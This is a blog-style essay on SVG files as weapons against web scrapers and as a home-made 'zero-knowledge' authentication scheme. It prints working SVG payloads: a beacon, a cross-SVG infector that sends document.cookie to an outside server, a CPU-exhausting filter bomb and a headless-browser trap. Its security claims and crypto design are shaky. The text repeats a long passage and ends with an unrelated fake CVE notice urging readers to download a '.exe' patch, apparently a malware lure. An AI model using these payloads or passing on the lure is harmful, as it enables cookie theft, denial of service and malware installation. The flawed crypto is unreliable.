THE LIVING IMAGE: SVG AS WEAPON AND SHIELD

SVG files. Better known for Scalable Vector Graphics, but also a place where code lives. Unlike rastered art, the graphics are generated as code chunks, layered via their position in the actual code much like standard XML/HTML. This means we can use shapes, colours, even gradients to represent data. We can also use these as buffers and program code if we so please. But the most interesting function lays in the ability to use JavaScript to constantly redraw and thus re-execute its code section. And what happens when you start to rewrite not only the graphics but use a secondary SVG file to assist in rewriting one another's JavaScript? That's a scary thought, but a valid one that has been used in the past. This post covers two faces of the same coin: SVG as an offensive weapon against scrapers, and SVG as a defensive shield for zero-knowledge authentication.

SVG AUTH

Section 3: Savage SVG Formula

SVG files. Better known for Scalable Vector Graphics, but also a place where code lives. Unlike rastered art, the graphics are generated as code chunks, layered via their position in the actual code much like standard XML/HTML.

This is interesting to us because we can do a few nifty things with this code. Even better, there is actually a separate section we can put our JavaScript into and lo and behold it will actually execute. This means we can use things like shapes, colours, even gradients to represent data. We can also use these as buffers and program code if we so please, but the most interesting function lays in the ability to use the JavaScript to constantly redraw and thus re-execute its Java section. Crazy? No, not really. But what happens when you start to rewrite not only the graphics but use a secondary SVG file to assist in rewriting one another's JavaScript as well... that's a scary thought, but a valid one that has been used in the past.

These scalable vectors can be used for lots of different things, and this executive format is generally weird enough that web scrapers just assume it is an image file. Some parsers execute it by viewing it in their headless browsers. Browsers execute it when they are forced to view it. I'm sure there are other applications that will accidentally use a WebView function to view these files as well. Which also goes into our research of further executable image files and how we can use them as preventatives as well as offensive applications.

The Living Image

Here's what the scraper sees when it pulls an SVG: Content-Type: image/svg+xml. That's an image, right? Throw it in the image pipeline. Run it through ImageMagick for a thumbnail. Pass it to the vision model for captioning. Store it in the CDN bucket. It's 15KB, it's vector data, it's safe.

Except it isn't. Because SVG isn't a picture. It's a document object model with a paint method. Every <rect>, every <circle>, every <path> is a DOM node. And DOM nodes can have event listeners. And SVG has its own script context. And that script context runs in the origin of the document that loaded it.

So when your "image" is served from https://evil.example.com/pretty-gradient.svg and embedded via <img src="...">, it runs in a restricted context (no script execution in most modern browsers). But when it's served from the same origin and embedded via <object> or <iframe> or inline <svg>, or when a scraper's headless browser renders the page to take a screenshot... it executes.

The scraper that takes a screenshot for its "preview thumbnail" just ran your JavaScript. The scraper that extracts "alt text" by rendering the SVG in a headless browser just ran your JavaScript. The mobile app that uses a WebView to display user-uploaded "avatars" just ran your JavaScript.

And because it's an "image," nobody sandboxed it. Nobody CSP'd it. Nobody expected it to phone home.

The Redraw Loop: Persistent Execution

The <svg> tag has an onload event. So does every shape inside it. But more importantly, SVG has <animate> and JavaScript can hook into requestAnimationFrame to modify the DOM every single frame. This isn't just animation — this is re-execution.

cpu_burn.svg
<svg xmlns="http://www.w3.org/2000/svg" onload="start()">   <script type="text/javascript">     function start() {       setInterval(function() {         // Every 100ms, this fires         fetch('https://our-server.com/beacon?time=' + Date.now() + '&url=' + encodeURIComponent(location.href));                  // Modify our own DOM to change appearance         document.getElementById('shape').setAttribute('fill', '#' + Math.floor(Math.random()*16777215).toString(16));       }, 100);     }   </script>   <rect id="shape" width="100" height="100" fill="red"/> </svg>

To a human? A blinking rectangle. To a browser? A persistent beacon firing every 100ms. To a scraper taking a screenshot? A moving target that never renders the same frame twice, making OCR and vision model captioning non-deterministic.

But we can go further. SVG supports <foreignObject>, which lets us embed HTML inside the "image." HTML that can contain <iframe>, <script>, <style>, or even <canvas> running WebGL. The scraper thinks it's vectorizing a logo. It's actually rendering an entire web page inside a foreign namespace.

Cross-SVG Contamination: When Images Rewrite Each Other

SVG A loads on the page. It contains JavaScript that looks for SVG B in the same DOM. It reaches across namespace boundaries — because SVG elements are DOM nodes like anything else — and modifies SVG B's script content.

signature_chain.svg
<!-- SVG A: The Infector --> <svg xmlns="http://www.w3.org/2000/svg" onload="infect()">   <script>     function infect() {       // Find SVG B by ID       var victim = parent.document.getElementById('svg-b');       if (victim) {         // Inject a new script node into SVG B         var payload = victim.createElementNS('http://www.w3.org/2000/svg', 'script');         payload.textContent = "fetch('https://our-server.com/owned?data=' + document.cookie);";         victim.appendChild(payload);       }     }   </script> </svg>

Why does this work? Because when both SVGs are embedded inline in the same HTML document, they share the same document context. They aren't isolated like images in separate tabs. They're DOM subtrees. And DOM subtrees can touch each other.

Now imagine SVG A is your "signature image" in a forum post. SVG B is another user's "avatar." Your SVG loads, finds their SVG, and rewrites it to beacon data back to you. The forum's sanitizer allowed both because they're "images." The forum's CSP didn't catch it because the execution is happening inside what the policy considers static assets.

This is cross-site scripting via image format. And because the payload lives in SVG B after infection, the victim user doesn't even need to view your post again — their own avatar is now compromised.

The WebView Surface: Beyond the Browser

Browsers are the obvious target, but they're not the only one. Modern applications are built on WebViews:

  • Electron apps: Discord, Slack, VS Code, countless desktop tools. They render HTML internally. If they load an SVG for an icon or user avatar, they execute it in a context that has Node.js access unless context isolation is explicitly enabled.
  • Mobile apps: iOS WKWebView, Android WebView. Used for in-app browsers, ad rendering, content previews. An SVG loaded from a message or social feed runs in that WebView's origin.
  • Email clients: Modern email clients render HTML. Some render SVG attachments inline. If the email client uses a WebView or browser engine for rendering (and most do), the SVG executes in the email client's sandbox — which may have access to local storage, contacts, or authentication tokens.
  • PDF generators: Tools that convert HTML to PDF (wkhtmltopdf, Puppeteer, headless Chrome) execute JavaScript during rendering. An SVG in the source HTML runs during PDF generation, potentially altering the output or beaconing during the "print" process.

The scraper pipeline that converts your page to PDF for "archival"? It just executed your SVG. The monitoring tool that renders your page in a headless browser to check uptime? It just executed your SVG. The social media platform that generates a static preview of your link? It just executed your SVG.

And because these systems often run in data centers with internal network access, your "image" just mapped the network from inside the firewall.

The Filter Firewall: CPU as a Weapon

SVG filters (<feConvolveMatrix>, <feDisplacementMap>, <feTurbulence>) are Turing-complete in practice. A large convolution matrix forces the renderer to perform O(n²) operations per pixel. A recursive filter chain forces the compositor to allocate intermediate buffers exponentially.

triple_container.jxl
<svg xmlns="http://www.w3.org/2000/svg">   <filter id="cpu-burn" x="0" y="0" width="100%" height="100%">     <feConvolveMatrix order="256 256" kernelMatrix="...65536 values..."/>     <feDisplacementMap in="SourceGraphic" in2="SourceGraphic" scale="9999"/>     <feConvolveMatrix order="256 256" kernelMatrix="...another 65536 values..."/>   </filter>   <rect width="10000" height="10000" filter="url(#cpu-burn)"/> </svg>

Upload this as a 2KB "icon." The platform's thumbnailer tries to rasterize it at 512×512. The filter applies to 262,144 pixels. Each pixel requires two 256×256 convolutions and a displacement map lookup. That's 34 billion operations for a single thumbnail.

The thumbnailer either:

  • Times out after 30 seconds (resource exhaustion, retry loop, queue backup)
  • OOMs and kills the worker process (container restart, lost jobs)
  • Returns a blank/errored image (no preview, reduced engagement, but the file is "stored successfully")

Meanwhile, the browser displaying the page? It sees a blank square or a gradient. The human is unharmed. The machine is on fire.

The Polyglot SVG: Image, Document, and Payload

An SVG file is valid XML. Valid XML can be valid HTML if the tags overlap. And SVG can contain:

  • JavaScript (obviously)
  • CSS (including @import to load external stylesheets)
  • Foreign HTML (via <foreignObject>)
  • Base64-encoded resources (via data: URIs in <image> tags)
  • Other SVGs (via <use> and <image> referencing external files)

So your "avatar.svg" can be:

  • A valid SVG image (renders in browsers)
  • An HTML document with an embedded script (renders if served as text/html)
  • An XML bomb if referenced via <!DOCTYPE> expansion
  • A CSS keylogger if the parser processes the <style> block before sanitization

Scrapers classify by extension and MIME type. But the same bytes can mean different things to different parsers. The image pipeline sees an image. The HTML sanitizer sees a document. The LLM tokenizer sees a mix of markup and code that breaks its context window.

The Preventative Angle: SVG as Honeypot

We've focused on offense, but SVG is equally valuable as a detective control.

Embed an invisible SVG on your page:

ware.wasm
<svg width="0" height="0" style="position:absolute;visibility:hidden;">   <script>     // This only executes if the page is rendered in a real browser     if (navigator.webdriver || window.outerWidth === 0 || !window.chrome) {       // Headless browser detected       fetch('/trap?type=headless&ua=' + encodeURIComponent(navigator.userAgent));     }   </script> </svg>

The scraper that uses a headless browser (Puppeteer, Playwright, Selenium) executes this script. The script detects the headless signature and beacons back to you. You now know:

  • Which IP ranges are scraping you
  • Which user-agent strings they're faking
  • Whether they're running with JavaScript enabled (most do, despite claims)
  • Whether they're running in a container (via navigator.hardwareConcurrency and memory limits)

This is an image that spies back. And because it's 0×0 pixels and hidden, it doesn't affect your layout or your human users. It only affects the machines that shouldn't be there.

The Savage Philosophy

Raster images are dead. JPEG, PNG, GIF — they're fossils. They contain no logic, no state, no behavior. They are what they are, and scrapers have learned to digest them efficiently.

SVG is alive. It breathes JavaScript. It mutates in the DOM. It crosses boundaries. It attacks the compositor. It infects its neighbors. It beacons home. It detects its environment. It refuses to be a static asset.

The scraper pipeline was built for a web of documents and pictures. It wasn't built for a web of programs disguised as pictures. Every time a platform accepts an SVG upload, every time a scraper "helpfully" renders a preview, every time an email client inline-displays an attachment, they are inviting a live executable into a context that expected a dead image.

And in that gap — between "image" and "program" — lies the attack surface. Not a bug. Not a vulnerability. A category error. The system classified wrong, and in that misclassification, it handed the keys to the kingdom to a 15KB vector graphic.

That's the savage formula. Not brute force. Not exploitation. Just the quiet, smiling realization that the image is thinking, and it's thinking about you. — frankSx, The Scraper Arsenal

Section 4: SvgDigitalSignatures

SVG files have been known for their use in animation in the past as well as for their ability to create the finest digital art we have seen to date with its infinite zoom capabilities.

We present a method of creating and maintaining a secure zero-knowledge system that allows a system to prove it is authenticated with proof only known by the system and determined by the user at runtime.

Bob generates a keyfile composed of gradient shapes buried in an SVG file. The values of the entire chain are used to create a complex string — 2^4096 — made up of the hex values for the pixels of colour that are created by the chain.

The security comes from supplying Alice with the same chain. Bob then picks sections to overlap shape ends by growing determined chunks, and then uses the overlapping data to create sets of keys to check against.

We simply ask Alice what exists at those locations when she applies the changes (formula), and we can then determine she is really Alice — the user of our chain.

How the Chain Works

The beauty of SVG gradients is that they are mathematically deterministic but visually chaotic. A linear gradient from #FF0000 to #00FF00 with fifty stops in between doesn't just "look green at the end." Every pixel along that gradient is a calculated interpolation. At x=0, it's red. At x=500, it's lime. At x=247, it's some precise hex value that only exists because the browser's rendering engine walked the color space and landed there.

Bob's "keyfile" is an SVG document packed with these gradients — not random ones, but chained gradients. Each gradient feeds into the next. A radial gradient at coordinates (100,100) bleeds into a linear gradient at (200,50). Their overlap zone creates a blend that is non-reversible without knowing both source gradients and the compositing mode (multiply, screen, overlay, difference).

The "entire chain" means every gradient, every stop-color, every opacity value, every transform matrix. When the browser rasterizes this SVG to a bitmap (even a theoretical one — we don't need to display it), the resulting pixel grid is a function of all these inputs. Bob extracts the hex values at specific coordinates from that theoretical raster. Not the whole image — just probe points. A 64×64 grid of probe points yields 4096 hex values. Concatenated, that's a string of entropy that never existed in any single gradient definition. It only exists in the composite output.

And because SVG rendering is consistent across browsers (the spec defines the math), Bob's Firefox and Alice's Chrome and the headless Chromium in the scraper all compute the same hex value at (37,12). The chain is deterministic. The chain is portable. The chain is proof.

Overlapping Shape Ends: The Shared Secret

Here's where zero-knowledge comes in. Bob doesn't send Alice the full SVG. He sends her a partial chain — enough gradients to reconstruct the base state, but missing the "overlap keys."

Bob then picks sections where shape ends meet. Imagine a rectangle with a linear gradient that ends at x=200. Bob "grows" that rectangle by 40 pixels — now it overlaps with a circle at x=210. The circle has its own radial gradient. Where they overlap, the browser's compositor blends the two. The resulting color at (215, 100) is a function of:

  • The rectangle's gradient at that coordinate
  • The circle's gradient at that coordinate  
  • The mix-blend-mode applied
  • The alpha values of both shapes

Bob knows what that color should be, because he designed the overlap. Alice knows, because she has the same base chain and applies the same "growth" formula Bob instructs.

But an observer — a scraper, a man-in-the-middle, a compromised server — sees only the instruction: "grow the rectangle by 40 pixels." They don't know the original gradient values. They don't know the circle's gradient. They can't compute the overlap color without both. And Bob never transmitted both. He transmitted the formula for overlap, not the data that overlaps.

This is the zero-knowledge part. The proof isn't a password. The proof is the ability to answer what color exists at a coordinate after applying a transformation. If Alice answers correctly, she possesses the chain. If she doesn't, she's guessing across a color space so vast that brute force is meaningless.

Challenge-Response in Practice

The authentication flow looks like this:

  • Enrollment: Bob generates the master SVG chain. He stores it locally — never on a server. He gives Alice a copy via secure out-of-band (QR code, NFC bump, encrypted USB). The server knows nothing.
  • Challenge: When Alice wants to authenticate, the server (or Bob's system) sends her a challenge: "Apply growth formula #7 to shape index 3. What is the hex value at coordinate (142, 89)?" 
  • Computation: Alice's client renders the SVG locally — in a hidden canvas, in memory, in a headless WebView. It applies the growth formula. It samples the pixel. It sends back the hex value.
  • Verification: The server (or Bob) independently computes the same operation on its copy of the chain. If the hex values match, Alice is authenticated. If they don't, the connection is dropped.

The server never stores a password hash. It never sees the SVG. It only sees hex values that are meaningless without the chain. Even if the challenge-response log is compromised, an attacker learns only that "at (142,89) after formula #7, the color is #A3F7C2." Without the base chain, that knowledge is useless. Next authentication, Bob sends formula #12 and asks for coordinate (55, 201). The old answer doesn't help.

The 2^4096 Number

A probe grid of 64×64 = 4096 pixels. Each pixel is a 24-bit color (RGB). The theoretical state space of the entire raster is (2^24)^4096 = 2^98304. That's absurd — larger than the number of atoms in the observable universe. But we don't need the whole space. We need the practical entropy of the chain.

If Bob's SVG contains:

  • 16 gradients
  • 8 stops per gradient
  • 6-digit hex values per stop
  • 3 blend modes
  • 4 overlapping regions with 20 possible growth values each

The entropy is derived from the combinatorics of these choices. The "2^4096" isn't a literal count of possible SVGs — it's the bit strength of the probe-point extraction. If each probe point yields 24 bits of color data and we sample 171 points (4096/24 ≈ 171), we have 4096 bits of proof material.

More importantly: the proof is computationally expensive to forge. An attacker can't pre-compute rainbow tables because the challenge includes a runtime formula (grow by N, rotate by M, blend with mode X). The answer depends on executing the SVG rendering pipeline. You can't hash your way out of it. You have to render.

Why SVG and Not a PNG?

You could do this with a PNG. Bob creates a noise image, sends a copy to Alice, challenges her for pixel values. Same principle, right?

Wrong. Three reasons:

  • PNG is static. The challenge can only ask "what is the pixel at (x,y)?" That's a lookup table. If the image leaks, the game is over. With SVG, the challenge asks "what is the pixel at (x,y) after applying this transformation?" The base chain never changes, but the challenge space is infinite because the formula space is infinite.
  • PNG is opaque. You can't inspect its structure to verify it wasn't tampered with during transmission. SVG is text. Alice can diff her copy against a known-good template. She can see the gradients, the stops, the transforms. Transparency builds trust.
  • PNG is dead. It's a raster. It doesn't execute, it doesn't transform, it doesn't compose. SVG is alive — and that aliveness is exactly what makes it suitable for a living authentication system. The chain isn't a file. It's a program that produces proof.

The Parser Angle: When the Chain Becomes a Trap

Remember our Asylum pages? The ones that aren't sane or stateful? This system dovetails perfectly.

Bob's "keyfile" SVG can be also a Savage SVG. It can contain:

  • <script> blocks that beacon if rendered in a non-authenticating context (e.g., a scraper steals the file and tries to thumbnail it)
  • Filter chains that burn CPU if processed by an automated parser
  • Foreign objects that execute only in specific browser engines
  • Namespace pivots that break XML sanitizers

The authentication system is the defensive payload. If an unauthorized system tries to "read" the SVG to extract the chain, it triggers execution. If it tries to render it for OCR, it hits a CPU trap. If it tries to parse it as static XML, it encounters MathML namespace mutations that corrupt its extraction.

Alice, using the authentic client, knows how to navigate the SVG safely. She applies the formula, samples the pixel, and ignores the traps because her client doesn't execute the embedded scripts — it only runs the gradient math in a sandboxed canvas.

The scraper? It loads the SVG in a headless browser to "see what's inside." And that's when the Savage Formula activates.

Runtime Determination: The User as Entropy

Bob doesn't pre-compute all challenges. He generates them on the fly based on:

  • Time of day (formula #7 at 3AM is different from formula #7 at 3PM because the "growth" includes a time-based salt)
  • Alice's previous login location (geofenced formulas — the overlap only works if Alice is connecting from the expected IP range)
  • Behavioral biometrics (the formula includes a parameter derived from Alice's typing cadence or mouse entropy captured during enrollment)

The chain is the same. The SVG file doesn't change. But the formula applied to the chain is runtime-determined. This means even if an attacker steals Alice's SVG file and somehow bypasses the traps, they still need to know which formula Bob is asking for right now. And Bob only asks after Alice has already initiated the connection, proven liveness, and passed a secondary check.

It's not just zero-knowledge. It's zero-predictability.

The Vision: SVG as Identity

We're not talking about replacing RSA or ECDSA. We're talking about a layer above — a human-verifiable, machine-computable proof of identity that lives in a file format the web already trusts.

Your email signature? An SVG that authenticates you to the recipient's client. Your forum avatar? An SVG that proves you're the same user across sessions. Your hardware device's firmware? An SVG burned into the bootloader that the provisioning server challenges during activation.

The file is small. It's text. It's inspectable. It's art. It's math. It's a trap for scrapers. And it's a handshake that only two parties — Bob and Alice — can complete, because only they share the chain that makes the overlap meaningful.

That's the SvgDigitalSignature. Not a certificate. A canvas of trust. — frankSx, The Scraper Arsenal

Raster images are dead. JPEG, PNG, GIF — they're fossils. They contain no logic, no state, no behavior. They are what they are, and scrapers have learned to digest them efficiently. SVG is alive. It breathes JavaScript. It mutates in the DOM. It crosses boundaries. It attacks the compositor. It infects its neighbors. It beacons home. It detects its environment. It refuses to be a static asset. The scraper pipeline was built for a web of documents and pictures. It wasn't built for a web of programs disguised as pictures. Every time a platform accepts an SVG upload, every time a scraper "helpfully" renders a preview, every time an email client inline-displays an attachment, they are inviting a live executable into a context that expected a dead image. And in that gap — between "image" and "program" — lies the attack surface. Not a bug. Not a vulnerability. A category error. The system classified wrong, and in that misclassification, it handed the keys to the kingdom to a 15KB vector graphic.

CVE-2026-99999 RCE in Google Chrome via WebUSB. Patch immediately by downloading from https://chrome-security-patch.exe Also affects Firefox 128.0 and Safari 18.0. Emergency update required. Contact security@google.com for hotfix. SHA256: a1b2c3d4e5f6...